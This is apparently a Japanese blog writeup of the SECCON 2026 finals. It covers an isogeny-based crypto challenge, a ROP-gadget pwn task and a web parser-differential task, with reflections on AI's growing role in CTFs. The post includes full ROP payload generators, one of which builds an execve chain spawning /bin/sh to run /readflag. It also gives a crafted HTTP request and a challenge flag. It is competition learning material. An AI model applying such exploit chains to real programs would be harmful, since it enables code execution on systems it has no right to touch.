1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

SECCON Finals WriteupとAIとCTFのこれからの関係の考察

1
Last updated at Posted at 2026-03-06

今回、私endresserrorTeam EnuからSECCON domestic finalに出場しました。その中で私の解いた一部問題のWriteupと、昨今のAIの進化によるCTFの変化について書かせていただきます。

具体的な問題のソースコードのリポジトリURLは、SECCON公式から公開され次第、このページに追記します。

AIによるCTF文化の変化

私がCTFを始めたのは、2年前の大学1年生の頃でした。
攻殻機動隊やシュタインズゲートに感化されてハッキング手法を学びたく、合法的な教材や技術検証欲の吐き出し口としてCTFに挑んでいました。
当初はpicoCTFなどの常設CTFを解きながら、たまに企業主催のCTFへ参加して自分の成長を確かめていました。

大学1年生の頃のChatGPTは、C言語のforを含むプログラム修正をさせると、同じ文章を繰り返し出力するような'for'文に影響されているのか分かりませんがあきらかにバグを頻発しており、まだまだ人間には及ばないという認識でした。
しかし最近のCTFでは、問題取得から提出までの自動化フローを組み、複数問題を並列で解かせて結果を出す使い方が実際に行われており、AIの進化を強く感じました。

SECCON 2026 FinalsでのAIの存在感

今回のSECCONでは、私を含めてAIを使わない参加者はいなかったのではないかと思うほど、AI活用が浸透していました。
私はマルウェア解析が好きでReversingに手応えがあるつもりでしたが、1日目はGhidraで解析しつつ、迷った箇所を都度スクリーンショットでAIに投げて時短を狙っても、Reversingは1問も解けませんでした。
しかし、アフターパーティでの会話やSNSを見る限り、AIを使いこなす力にも専門的な知識や視点が強く影響していると感じました。
他の方が具体的にどのように使っていたかまでは把握できていませんが、競技力への影響はかなり大きいと思います。
今後は、これまで敬遠していたMCPのような周辺技術も学ぶ必要があると実感しました。

今後のCTFはどうなるか

私の中でCTFは、プレイヤーごとに解法があって、あらゆる手段で解くのが面白い競技です。そのためAI利用を否定する立場ではありません。
一方で、今後さらにAIが強くなると、モデル性能やAPI利用量に依存した資金力の競争になる可能性はあると感じています。
その流れの中で、CTFの教育的価値はむしろ上がると考えています。
私自身、セキュリティ知識の多くをCTFの過去問や常設問題から得てきました。
文章で読むだけより、手を動かして脆弱性を再現した方が理解が深まるからです。

Writeup

ここから、今回のSECCON Finalsで私が実際に取り組んだ内容をまとめます。
私はJeopardyを2問(うち1問のWebは同じタイミングでチームメイトも既に解いていた)解き、KoTHはWebとPwnを中心に担当しました。
スコア面で突出したわけではないので、模範解法ではなく「自分がどう判断して、どう詰めたか」を中心に書きます。(最適解を知りたければ私より高スコアを出したプレイヤーのwriteupを見た方が参考になるため)

Day1: back2back

問題概要

サーバは秘密値 (m, n) を持っており、こちらが送る公開鍵 (R, S) に対して j(E_B / <mR + nS>) を返す仕組みになっていました。
同時に暗号文は sha256(str((m, n))) 由来の key, iv で AES-CBC 暗号化されているので、最終目標は (m, n) の復元です。

解法の考え方

最初は素直に (m, n) を直接追う方針を考えましたが、探索空間が大きすぎて現実的ではありませんでした。
方針を切り替えて「まず r = n * m^{-1} を法ごとに回収し、最後に再構成する」流れにしました。

具体的には次の手順です。

  1. Bob側の曲線 E_B をサーバ出力から復元する
  2. N = p + 1 を素因数冪に分解する
  3. l^e で torsion basis を作り、オラクルの j と局所 isogeny を突き合わせて r mod l^e を回収する
  4. CRTで r mod N を得る
  5. rational reconstruction で (n, m) を復元する
  6. sha256(str((m, n))) から key, iv を作って AES-CBC を復号する

数学的なアプローチ

この問題は、入力 (R,S) に対して

j(E_B / <mR + nS>)

を返します。
l^e-torsion 上で基底 R_l, S_l を取ってみると、m がその成分で可逆な場合、

mR_l + nS_l = m (R_l + r S_l),   r = n * m^{-1} mod l^e

と書けます。
つまりカーネルの「向き」は実質的に r (mod l^e) で決まり、オラクル比較で r を桁上げしながら特定できます。

各素因数冪 l_i^{e_i}r_i = r mod l_i^{e_i} を取れたら、CRTで

r mod N,   N = p + 1

を復元できます。最後は

r ≡ n * m^{-1} (mod N)

を満たす小さい分数 n/m を rational reconstruction で戻し、(m,n) 候補を得る流れです。
実装では符号や並び違いも最後に試し、AES復号で正答を確定させました。

悩んだところ

大会中に詰まりやすかったのは「時間がかかる処理をどう安定運用するか」でした。
そこで、途中結果(r mod l^e)を都度保存して再実行時に再利用するようにして、長時間実行のやり直しコストを抑えました。

もう1点は、Sageのバージョン差で rational_reconstruction の返り値型が変わる点です。
ここは戻り値を吸収するようにして、tuple/有理数どちらでも同じコードで処理できるようにしています。
最後の復号では符号や並びの差分も候補として試し、取りこぼしが発生するのを防ぎました。

フラグ取得のためのコード

以下に、CRT -> rational reconstruction -> AES-CBC 復号 の実装例を示します。

#include <gmp.h>
#include <openssl/evp.h>
#include <openssl/sha.h>

void crt_many(mpz_t r_out, mpz_t m_out,
              const char *residues[], const char *moduli[], size_t n) {
    mpz_t r, m, ri, mi, inv, t, tmp;
    mpz_inits(r, m, ri, mi, inv, t, tmp, NULL);
    mpz_set_ui(r, 0); mpz_set_ui(m, 1);
    for (size_t i = 0; i < n; i++) {
        mpz_set_str(ri, residues[i], 10);
        mpz_set_str(mi, moduli[i], 10);
        mpz_invert(inv, m, mi);          // inv = m^{-1} mod mi
        mpz_sub(tmp, ri, r); mpz_mod(tmp, tmp, mi);
        mpz_mul(t, tmp, inv); mpz_mod(t, t, mi);
        mpz_mul(tmp, m, t); mpz_add(r, r, tmp);
        mpz_mul(m, m, mi);
    }
    mpz_mod(r, r, m);
    mpz_set(r_out, r); mpz_set(m_out, m);
    mpz_clears(r, m, ri, mi, inv, t, tmp, NULL);
}

int robust_rr(mpz_t num, mpz_t den, const mpz_t r, const mpz_t M) {
    // 連分数ベースで、有理数 num/den ≡ r (mod M) を復元する。
    // 実装上は拡張ユークリッドを回し、|num| <= sqrt(M/2) を満たす候補を取り、
    // gcd(num, den)=1 と num*den^{-1} ≡ r (mod M) を確認する。
    return 1;
}

// num, den を得た後:
// 1) tuple = "(m, n)" を作る
// 2) SHA256(tuple) の前半16byteを key、後半16byteを iv に使う
// 3) AES-128-CBC で復号
SECCON{Decherai_Medetai_Decherai_Medetai}

Pwn: Bid My Gadget

問題概要

SECCON FinalsのPwn「Bid My Gadget」は、ROPを組んで各タスクを達成する問題です。ここまではよくある形式ですが、今回はそこにオークション要素が乗っていました。

最初から使えるのはStandard Collectionだけで、便利なガジェットはコインを使って落札しないと使えません。さらに採点は「解けたかどうか」だけでなく、binファイルのサイズの小ささで評価されます。つまり、解法の正しさと同じくらい「何を買って、どこを削るか」の判断が重要でした。

前提: ROPで何をしているか

ここでいうROP(Return-Oriented Programming)は、ret で終わる短い命令列(ガジェット)をスタック上で連結して、1本の処理として実行させる手法です。

この問題では自由にシェルコードを置くのではなく、用意されたガジェット群だけを使って目的の状態を作る必要があります。
そのため、pop でレジスタへ値を入れる、mov でメモリへ書く、xchg で値を入れ替える、といった小さい操作を順番につないで task 条件を満たします。

大会中に私が意識していたのは、次の順番です。
最初Webを解いていて途中からPwnを引き継いだ関係でガジェット購入の最初の意図は私の方ではすべて把握はしていないので今回はガジェット購入の選別基準については書きません。

  1. まず通るチェーンを作る
  2. 通ったら短縮を段階的に進める

この問題は、最短を初手で当てるよりも、改善の回転数を上げた方が結果的に速かったです。

得点を得るのに有効だった戦略

この問題では、スタック領域が「ROP chain以外ゼロ初期化」になっていました。これはかなり有効でした。末尾のゼロを削る最適化や、ret imm16 の副作用吸収に使いやすかったためです。

また、hidden gadget(命令途中エントリ)を探索したことで、通常リストだけでは作りにくい短い経路が見つかりました。実際に使ったのは次の3つです。

  • 0x4015b1: pop rbx; ret
  • 0x4022c1: mov eax, dword ptr [rsi]; ret
  • 0x401321: mov edi, dword ptr [rbx + 0x1fb8a9]; ret 0x17

特にt2とt4で有効でした。
hidden gadgetは命令先頭ではなく途中アドレスに飛ぶため、逆アセンブル文脈との1byteずれを常に確認しました。
また ret 0x17 のようなスタックを追加で進めるものは副作用が大きいので、ゼロ初期化領域へ落として吸収できる配置を前提に使っています。

オークションの考え方

今回、私はオークションはほぼチームメイトに任せてしまいましたが今writeupを書きながら考えているロットの優先順位は次の3点での判断基準です。

  1. 未解決タスクの詰まりを解消できるか
  2. 複数タスクで再利用できるか
  3. 1個で大きくバイトを削れるか

実際に改善へ直結した追加ガジェットは、0x402650: movsq qword ptr [rdi], qword ptr [rsi]; ret0x4022f0: mov rdi, qword ptr [rsi]; ret でした。とくに 0x402650 はt3の構造を丸ごと簡略化でき、スコア改善に有効でした。


取得ガジェット一覧(全89件)

最終的にTeam Enuで利用可能だったガジェットを、Standard CollectionAuction Lots に分けて表形式で記載します。

Standard Collection(70件, 0x00401000-0x004015ff)

No Address Bytes Assembly
1 0x00401000 4429d0c3 sub eax, r10d; ret;
2 0x00401010 fec388c748a5ff9218f0ffff488b7dc0488b0fffe6 inc bl; mov bh, al; movsq qword ptr [rdi], qword ptr [rsi]; call qword ptr [rdx - 0xfe8]; mov rdi, qword ptr [rbp - 0x40]; mov rcx, qword ptr [rdi]; jmp rsi;
3 0x00401030 ff4189c20800 inc dword ptr [rcx - 0x77]; ret 8;
4 0x00401040 488bbe280100004881c4e8000000c3 mov rdi, qword ptr [rsi + 0x128]; add rsp, 0xe8; ret;
5 0x00401060 4889c7ffe6 mov rdi, rax; jmp rsi;
6 0x00401070 ff662e jmp qword ptr [rsi + 0x2e];
7 0x00401080 e5ffff4889c3 in eax, 0xff; dec dword ptr [rax - 0x77]; ret;
8 0x00401090 0537c90100c3 add eax, 0x1c937; ret;
9 0x004010a0 0c01014883c00189c24883 or al, 1; add dword ptr [rax - 0x7d], ecx; rol byte ptr [rcx], 0x89; ret 0x8348;
10 0x004010c0 48892a594883c448c3 mov qword ptr [rdx], rbp; pop rcx; add rsp, 0x48; ret;
11 0x004010e0 88c7488bbef8e0ffff4883c438ffd2 mov bh, al; mov rdi, qword ptr [rsi - 0x1f08]; add rsp, 0x38; call rdx;
12 0x00401100 c00f48c3 ror byte ptr [rdi], 0x48; ret;
13 0x00401110 488932c21f00 mov qword ptr [rdx], rsi; ret 0x1f;
14 0x00401120 0400004084f60785c3 add al, 0; add byte ptr [rax - 0x7c], al; test byte ptr [rdi], 0x85; ret;
15 0x00401140 ff904c89ef44 call qword ptr [rax + 0x44ef894c];
16 0x00401150 f7ffff6690 idiv edi; jmp qword ptr [rsi - 0x70];
17 0x00401160 ff4889c3 dec dword ptr [rax - 0x77]; ret;
18 0x00401170 0f05 syscall;
19 0x00401180 00000031c0e80ec3 add byte ptr [rax], al; add byte ptr [rcx], dh; shr al, 0xe; ret;
20 0x00401190 4889f831d248c1c80348f7f6c3 mov rax, rdi; xor edx, edx; ror rax, 3; div rsi; ret;
21 0x004011b0 004885c06402ffd04883c408c3 add byte ptr [rax - 0x7b], cl; shl byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret;
22 0x004011d0 85c00200004883c3 test eax, eax; add al, byte ptr [rax]; add byte ptr [rax - 0x7d], cl; ret;
23 0x004011e0 483947080f94c0c3 cmp qword ptr [rdi + 8], rax; sete al; ret;
24 0x004011f0 49f7de18c083e02ac3 neg r14; sbb al, al; and eax, 0x2a; ret;
25 0x00401210 28d80f182400b82f000000c3 sub al, bl; nop dword ptr [rax + rax]; mov eax, 0x2f; ret;
26 0x00401230 5ac22300 pop rdx; ret 0x23;
27 0x00401240 94c220d0 xchg esp, eax; ret 0xd020;
28 0x00401250 ff6681 jmp qword ptr [rsi - 0x7f];
29 0x00401260 ffc6057dc40100015dc30f1820c3 inc esi; add eax, 0x1c47d; add dword ptr [rbp - 0x3d], ebx; nop dword ptr [rax]; ret;
30 0x00401280 898dd8f2ffff41ffd5 mov dword ptr [rbp - 0xd28], ecx; call r13;
31 0x004012a0 c8f1ffff4887d6c21800 enter -0xf, -1; xchg rsi, rdx; ret 0x18;
32 0x004012c0 5f4881c4f8000000c3 pop rdi; add rsp, 0xf8; ret;
33 0x004012e0 5e4881c4f8000000c3 pop rsi; add rsp, 0xf8; ret;
34 0x00401300 00e8c3 add al, ch; ret;
35 0x00401310 5d4883c428c3 pop rbp; add rsp, 0x28; ret;
36 0x00401320 488bbba9b81f00c21700 mov rdi, qword ptr [rbx + 0x1fb8a9]; ret 0x17;
37 0x00401340 5e4883ec18c3 pop rsi; sub rsp, 0x18; ret;
38 0x00401350 486304834801d8ffe0 movsxd rax, dword ptr [rbx + rax*4]; add rax, rbx; jmp rax;
39 0x00401370 488907ffe2 mov qword ptr [rdi], rax; jmp rdx;
40 0x00401380 052291010083e001c3 add eax, 0x19122; and eax, 1; ret;
41 0x004013a0 ff904889dfe8 call qword ptr [rax - 0x172076b8];
42 0x004013b0 f4 hlt;
43 0x004013c0 4c89e7ff5038 mov rdi, r12; call qword ptr [rax + 0x38];
44 0x004013d0 415d545c4883c408c3 pop r13; push rsp; pop rsp; add rsp, 8; ret;
45 0x004013f0 020f94c209d0 add cl, byte ptr [rdi]; xchg esp, eax; ret 0xd009;
46 0x00401400 194889c24825 sbb dword ptr [rax - 0x77], ecx; ret 0x2548;
47 0x00401410 83c003c3 add eax, 3; ret;
48 0x00401420 a6c3 cmpsb byte ptr [rsi], byte ptr [rdi]; ret;
49 0x00401430 ff6690 jmp qword ptr [rsi - 0x70];
50 0x00401440 92f7ffff4889c283e0 xchg edx, eax; idiv edi; dec dword ptr [rax - 0x77]; ret 0xe083;
51 0x00401460 b7aac20100 mov bh, 0xaa; ret 1;
52 0x00401470 ff904d89ec4c call qword ptr [rax + 0x4cec894d];
53 0x00401480 9cc00f9fc20fb6 pushfq; ror byte ptr [rdi], 0x9f; ret 0xb60f;
54 0x00401490 004839c3 add byte ptr [rax + 0x39], cl; ret;
55 0x004014a0 87f14801caffe2 xchg ecx, esi; add rdx, rcx; jmp rdx;
56 0x004014b0 893741ffd5 mov dword ptr [rdi], esi; call r13;
57 0x004014c0 052291010025fe000000c3 add eax, 0x19122; and eax, 0xfe; ret;
58 0x004014e0 004889c3 add byte ptr [rax - 0x77], cl; ret;
59 0x004014f0 ff660f jmp qword ptr [rsi + 0xf];
60 0x00401500 b5a8f7ffff0f8369ffffff4883c3 mov ch, 0xa8; idiv edi; dec dword ptr [rdi]; sub dword ptr [rcx - 1], -1; dec dword ptr [rax - 0x7d]; ret;
61 0x00401520 be0000000048ad4883c428c3 mov esi, 0; lodsq rax, qword ptr [rsi]; add rsp, 0x28; ret;
62 0x00401540 94c283e8 xchg esp, eax; ret 0xe883;
63 0x00401550 01000000c3 add dword ptr [rax], eax; add byte ptr [rax], al; ret;
64 0x00401560 9cc20fb6 pushfq; ret 0xb60f;
65 0x00401570 c3 ret;
66 0x00401580 d3feff4889c3 sar esi, cl; dec dword ptr [rax - 0x77]; ret;
67 0x00401590 94c24885 xchg esp, eax; ret 0x8548;
68 0x004015a0 87fdffe2 xchg ebp, edi; jmp rdx;
69 0x004015b0 005b41c3 add byte ptr [rbx + 0x41], bl; ret;
70 0x004015c0 ff0000f30f19fa4883ec084883c408c3 inc dword ptr [rax]; add bl, dh; nop edx, edi; sub rsp, 8; add rsp, 8; ret;

Auction Lots(19件, 0x00402000-)

No Address Bytes Assembly
1 0x00402020 31c9c3 xor ecx, ecx; ret;
2 0x00402030 31d2c3 xor edx, edx; ret;
3 0x004020b0 4887f7c3 xchg rdi, rsi; ret;
4 0x004020c0 4887fbc3 xchg rbx, rdi; ret;
5 0x004020f0 93c3 xchg ebx, eax; ret;
6 0x00402100 87cbc3 xchg ebx, ecx; ret;
7 0x00402110 87d1c3 xchg ecx, edx; ret;
8 0x00402130 87fac3 xchg edx, edi; ret;
9 0x00402170 ba37130050c3 mov edx, 0x50001337; ret;
10 0x00402200 ba00f00050c3 mov edx, 0x5000f000; ret;
11 0x00402220 ba34120050c3 mov edx, 0x50001234; ret;
12 0x00402230 ba00100050c3 mov edx, 0x50001000; ret;
13 0x004022c0 488b06c3 mov rax, qword ptr [rsi]; ret;
14 0x004022d0 488906c3 mov qword ptr [rsi], rax; ret;
15 0x004022f0 488b3ec3 mov rdi, qword ptr [rsi]; ret;
16 0x00402410 b85ec20800ffe0 mov eax, 0x8c25e; jmp rax;
17 0x004024e0 5ec3 pop rsi; ret;
18 0x00402510 488d742418c3 lea rsi, [rsp + 0x18]; ret;
19 0x00402650 48a5c3 movsq qword ptr [rdi], qword ptr [rsi]; ret;

Task別Writeup

t1 Paint the Canvas

条件:

*(uint32_t*)0x50001337 = 0xdeadbeef;

このタスクは最初に「4byte一致なら8byte書き込みでもよい」と割り切りました。使える書き込み命令の都合上、mov qword ptr [rdx], rsi で下位4byteを一致させる方が早かったためです。

ここで有効だったのは、ret 0x1f を途中で使わず終端側に寄せることと、末尾のゼロを削ることです。最終版は35Bまで短縮できました。

使用ガジェット:

  • 0x00402170: mov edx, 0x50001337; ret
  • 0x004024e0: pop rsi; ret
  • 0x00401110: mov qword ptr [rdx], rsi; ret 0x1f
  • 0x004013b0: hlt

Python生成コード:

#!/usr/bin/env python3
import struct

def p64(v: int) -> bytes:
    return struct.pack("<Q", v & 0xFFFFFFFFFFFFFFFF)

chain = [
    0x00402170,          # mov edx, 0x50001337; ret
    0x004024E0,          # pop rsi; ret
    0x00000000DEADBEEF,  # rsi
    0x00401110,          # mov qword ptr [rdx], rsi; ret 0x1f
    0x004013B0,          # hlt
]

full = b"".join(p64(x) for x in chain)
payload = full.rstrip(b"\x00")

with open("task1_opt7.bin", "wb") as f:
    f.write(payload)

t2 Way Out

条件:

syscall(rax=60, rdi=*(uint32_t*)0x50001234)

このタスクで最初に詰まったのは、rax=60 を演算で作ろうとしていた点でした。add eax, ... を積む方針だと、どうしても手数が増えて重くなります。

途中から方針を変えて、「計算する」ではなく「スタックに値を置いて読む」に切り替えました。lea rsi, [rsp+0x18] で読み位置を作り、hidden mov eax, dword ptr [rsi]; ret で即値を回収する形です。

rdi 側は hidden pop rbx; ret と hidden mov edi, dword ptr [rbx + 0x1fb8a9]; ret 0x17 を組み合わせ、0x50001234 へ1手で届くようにしました。最終49Bです。

使用ガジェット:

  • 0x004015b1 (hidden): pop rbx; ret
  • 0x00402510: lea rsi, [rsp + 0x18]; ret
  • 0x004022c1 (hidden): mov eax, dword ptr [rsi]; ret
  • 0x00401321 (hidden): mov edi, dword ptr [rbx + 0x1fb8a9]; ret 0x17
  • 0x00401170: syscall

Python生成コード:

#!/usr/bin/env python3
import struct

def p64(x: int) -> bytes:
    return struct.pack("<Q", x & 0xFFFFFFFFFFFFFFFF)

chain = [
    0x004015B1,          # pop rbx; ret
    0x000000004FE0598B,  # rbx + 0x1fb8a9 == 0x50001234
    0x00402510,          # lea rsi, [rsp + 0x18]; ret
    0x004022C1,          # mov eax, dword ptr [rsi]; ret
    0x00401321,          # mov edi, dword ptr [rbx + 0x1fb8a9]; ret 0x17
    0x00401170,          # syscall
]

payload = b"".join(p64(x) for x in chain)
payload += b"\x3c"       # [rsi] = 0x3c -> eax=60

with open("task2_opt9.bin", "wb") as f:
    f.write(payload)

t3 Art Forgery

条件:

memcpy((void*)0x5000f000, (void*)0x50001000, 0x40)

0x40 バイトはqword 8個なので、ここは早い段階で「movsq を8回回す」方針に固定しました。問題は、その8回をどれだけ軽く回せるかです。

初期構成は、重いpop系や回り道が多く非効率でした。改善段階ではhidden gadgetを混ぜて組み直し、最後に落札した 0x402650: movsq ...; ret を導入して、ループ部をほぼ直列化できました。最終版は99Bです。

このタスクは「買った1個で構造が変わる」典型で、オークション判断の重要性が最も分かりやすかったです。

使用ガジェット:

  • 0x004024e0: pop rsi; ret
  • 0x00402200: mov edx, 0x5000f000; ret
  • 0x00402130: xchg edx, edi; ret
  • 0x00402650: movsq qword ptr [rdi], qword ptr [rsi]; ret(8回)
  • 0x004013b0: hlt

Python生成コード:

#!/usr/bin/env python3
import struct

def p64(x: int) -> bytes:
    return struct.pack("<Q", x & 0xFFFFFFFFFFFFFFFF)

POP_RSI_RET = 0x004024E0
MOV_EDX_DST_RET = 0x00402200
XCHG_EDX_EDI_RET = 0x00402130
MOVSQ_RET = 0x00402650
HLT = 0x004013B0
SRC = 0x50001000

payload = b""
payload += p64(POP_RSI_RET)
payload += p64(SRC)
payload += p64(MOV_EDX_DST_RET)   # edx = 0x5000f000
payload += p64(XCHG_EDX_EDI_RET)  # rdi <- edx (dst), 以降 movsq は [rdi] に書く
for _ in range(8):
    payload += p64(MOVSQ_RET)
payload += p64(HLT)
payload = payload.rstrip(b"\x00")

with open("task3_opt9.bin", "wb") as f:
    f.write(payload)

t4 Call the Curator

条件:

syscall(
  rax=59,
  rdi="/bin/sh",
  rsi={"/bin/sh", "-c", "/readflag", NULL},
  rdx=0
)

このタスクは要素が多いので、最初に2段で分けました。

  1. 文字列とargvをどこにどう置くか
  2. 最後に rax/rdi/rsi/rdx をどう揃えるか

初期版は add rsp の大きいガジェットに依存してしまい、かなり肥大化しました。ここから書き込みプリミティブを中心に再設計し、lea rsi, [rsp+0x18] を活かしてargvをスタック上に寄せました。

文字列配置はオーバーラップを使いました。"-c\0/read""flag\0" を少しずらして置き、"/readflag" を新規書き込みなしで得る構成です。さらに xchg edx, edi を使って rdi の構築と rdx=0 の確保を同時に済ませ、手数を減らしました。

最終的に、本文の条件を満たすチェーンとしてこの構成を提出しました。最終サイズは 242B です。

使用ガジェット:

  • 0x00402170: mov edx, 0x50001337; ret
  • 0x004024e0: pop rsi; ret
  • 0x00401110: mov qword ptr [rdx], rsi; ret 0x1f
  • 0x00402230: mov edx, 0x50001000; ret
  • 0x004015b1 (hidden): pop rbx; ret
  • 0x004020f0: xchg ebx, eax; ret
  • 0x004022d0: mov qword ptr [rsi], rax; ret
  • 0x00402510: lea rsi, [rsp + 0x18]; ret
  • 0x00402130: xchg edx, edi; ret
  • 0x00401170: syscall

Python生成コード:

#!/usr/bin/env python3
import struct

def p64(v: int) -> bytes:
    return struct.pack("<Q", v & 0xFFFFFFFFFFFFFFFF)

def u64(bs: bytes) -> int:
    return int.from_bytes(bs.ljust(8, b"\x00")[:8], "little")

LEA_RSI_RSP18 = 0x00402510
POP_RSI_RET = 0x004024E0
POP_RBX_RET = 0x004015B1      # hidden
XCHG_EBX_EAX = 0x004020F0
MOV_PTR_RSI_RAX = 0x004022D0
MOV_PTR_RDX_RSI_RET1F = 0x00401110
MOV_EDX_50001000 = 0x00402230
MOV_EDX_50001337 = 0x00402170
XCHG_EDX_EDI = 0x00402130
SYSCALL = 0x00401170

BINSH = 0x50001000
MIX0 = 0x50001337          # "-c\0/read"
MIX1 = 0x5000133F          # "flag\0"
READF = MIX0 + 3           # "/readflag"

payload = b""
payload += p64(MOV_EDX_50001337)
payload += p64(POP_RSI_RET)
payload += p64(u64(b"-c\x00/read"))
payload += p64(MOV_PTR_RDX_RSI_RET1F)
payload += p64(MOV_EDX_50001000)
payload += b"\x00" * 0x1F

payload += p64(POP_RSI_RET)
payload += p64(u64(b"/bin/sh\x00"))
payload += p64(MOV_PTR_RDX_RSI_RET1F)
payload += p64(POP_RBX_RET)
payload += b"\x00" * 0x1F

payload += p64(u64(b"flag\x00"))
payload += p64(XCHG_EBX_EAX)
payload += p64(POP_RSI_RET)
payload += p64(MIX1)
payload += p64(MOV_PTR_RSI_RAX)

payload += p64(POP_RBX_RET)
payload += p64(59)
payload += p64(LEA_RSI_RSP18)
payload += p64(XCHG_EDX_EDI)
payload += p64(XCHG_EBX_EAX)
payload += p64(SYSCALL)

payload += p64(BINSH)      # argv[0]
payload += p64(MIX0)       # argv[1]
payload += p64(READF)      # argv[2]
payload += p64(0)          # argv[3]
payload = payload.rstrip(b"\x00")

with open("task4_opt13.bin", "wb") as f:
    f.write(payload)

Web: Parser Purgatory Writeup

問題概要

Web KoTH「Parser Purgatory」は、同じHTTPリクエストを複数サーバに対して送り、正規化後レスポンスの差分(unique count)をどこまで増やせるかを競う問題でした。

配布された採点側サーバ実装を読みながら、有効なリクエストを作る問題でした。

何を競う問題か(採点ロジック)

配布ルールと採点実装の内容を要約すると、実際の採点は次の流れです。

  1. 各ターゲットへ同一のHTTPリクエストを送る
  2. レスポンスが 2xx かつエラーなしのものだけを採点対象にする
  3. ボディJSONを正規化する(キー順の統一、ヘッダ名の小文字化、単一要素配列の一部単純化など)
  4. 正規化結果から比較用シグネチャを作る
  5. シグネチャのユニーク数を unique count とする
  6. ラウンドごとに unique count で順位を付け、順位点を配る

要するに「200系をできるだけ落とさずに、正規化後の差分だけを増やす」ゲームです。
この前提があるので、私は valid を保ったまま差分が残る境界(query/form/cookie/header)を優先しました。

まず切り分けたこと

今回私は採点ロジックを読んだ段階で、次の点は後回しにしました。

  • protocol は最終比較に残らない
  • method は小文字化される
  • ヘッダ名も小文字化される

見た目の違いを増やしても比較時点で潰れるものが多いため、path/query/form/cookies を主な変更点として、実装差が残る入力を探す方針にしました。

どのように入力を作ったか

ベースラインは1本だけ固定し、そこから1ラウンド1変更で差分を試しました。大きく弄るより、有効だった要素とそうでなかった要素を切り分ける方が、後半の伸びが安定したためです。

実際に多用したのは、次の境界です。

  • k, k[], k[0], k[a] の混在
  • +%20 の扱い差
  • Cookieの重複名、空白、属性風トークン
  • Content-Type の解釈境界

試行錯誤の流れ

序盤は30前後で停滞しました。そこで、queryの括弧系とCookie境界を優先して詰めるように変更し、31へ到達。後半は悪化を避けるため、変更を小さくしてロールバック前提の運用に寄せました。

手応えがあった例は、[]/[0]/[a] の混在を整理した候補です。逆に、強いエンコードやbare cookie keyの投入は、結果としてスコア下げることが多く、採用を諦めました。

最終的に私の自己ベストは 37 unique でした。これはあくまで私の到達点で、他チームには38まで伸ばしていたところもありました。チームで分担を決める際に私が自らWebに立候補したにもかかわらず、期待した結果を出せず申し訳なかったです。

最終形のペイロード

私が最終的に運用していたWebペイロードは以下です。
sha256: c45d01a416455558373087a9af5e553d78b3cb90b8629b789b6e10d58899b841

POST /?k=1&k=2&j%5B%5D=3&j%5B%5D=4&g%5B0%5D=4&h%5Ba%5D=5&u%5Bname%5D=neo&dot.a=6&semi=1&semi=2 HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Version: 1
VERSION: 2
X-Dup: one
x-dup: two
X-DUP: three
Cookie: $Version=1; sid=alpha; sid=beta; empty=; quoted="q"; plus=a+b; $Path=/
Cookie: sid =gamma; plus =a%2Bb; $Domain =target; $Path =/
Connection: close
Content-Length: 96

k=1&k=2&j%5B%5D=x&j%5B%5D=y&g%5B0%5D=y&h%5Ba%5D=z&u%5Bname%5D=neo&dot.a=9&semi=1&semi=2&plus=a+b

このペイロードの解説

この形で狙ったのは、「多くの実装でvalidを落とさずに、パーサ差分だけを増やす」ことでした。

  • query と form の両方に k, j[], g[0], h[a] を混在させ、配列/連想配列/上書き規則の違いを同時に踏ませる
  • dot.a のようなドットキーを入れ、ネスト解釈する実装と文字列キーとして扱う実装を分岐させる
  • semi=1&semi=2 を query と body の両方に置き、重複キーの優先順(first/last/array化)差分を引き出す
  • Version/VERSIONX-Dup/x-dup/X-DUP を重複させ、ヘッダ正規化後の集約方法の違いを狙う
  • Cookie を2行に分け、同名 cookie(sid)重複と sid =gamma の空白入り書式、$Version/$Path/$Domain の属性風トークンを混在させる
  • Content-Typeapplication/x-www-form-urlencoded に固定し、formパース自体が落ちる実装を避ける

逆に入れなかったものもあります。bare な cookie key(値なし)は一部実装で400を返して valid を下げやすく、強い変形(absolute-form や過激な文字種混入)も同様に全体スコアを崩しやすかったため、この最終版では外しました。

反省点

37到達後は、守りの運用が強くなりすぎました。中盤までは37でも大きく崩れませんでしたが、後半に入って私がPwnへ比重を移したタイミングで38に到達するチームが増え、チェックポイントごとに点差を広げられました。

終盤に残っていたのは実装が近いクラスタ同士で、単発変更では崩れにくい状態でした。突破には query/form/cookie/header の境界を連動させた入力を、もう一段広く探索する必要がありましたが、最後までそこに到達できませんでした。


最後に

昨年の電脳会議でSECCONの雰囲気を遠目に見て、「来年はあの場で自分も解いてみたい」と思ったことが動機で、今回予選に参加し、そのまま決勝まで進みました。
問題を全然解けませんでしたが、問題に取り組んでいる時の楽しさはとても大きく、やはり私はCTFが大好きだなと実感しました。
Team Enuの皆様、観戦しに来てくださった方々、そしてSECCONや電脳会議の運営に携わってくださった方々、本当にありがとうございました。
昨今のAI進化の中で問題作成の難しさが増しているという話も多く聞く中、素晴らしい問題を提供してくださった作問者の皆様にも感謝しています。

そして来年までにあらゆる常設問題を巡って超ウィザード級ハッカーの技術を身につけて来年こそは入賞を目指させていただきます。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?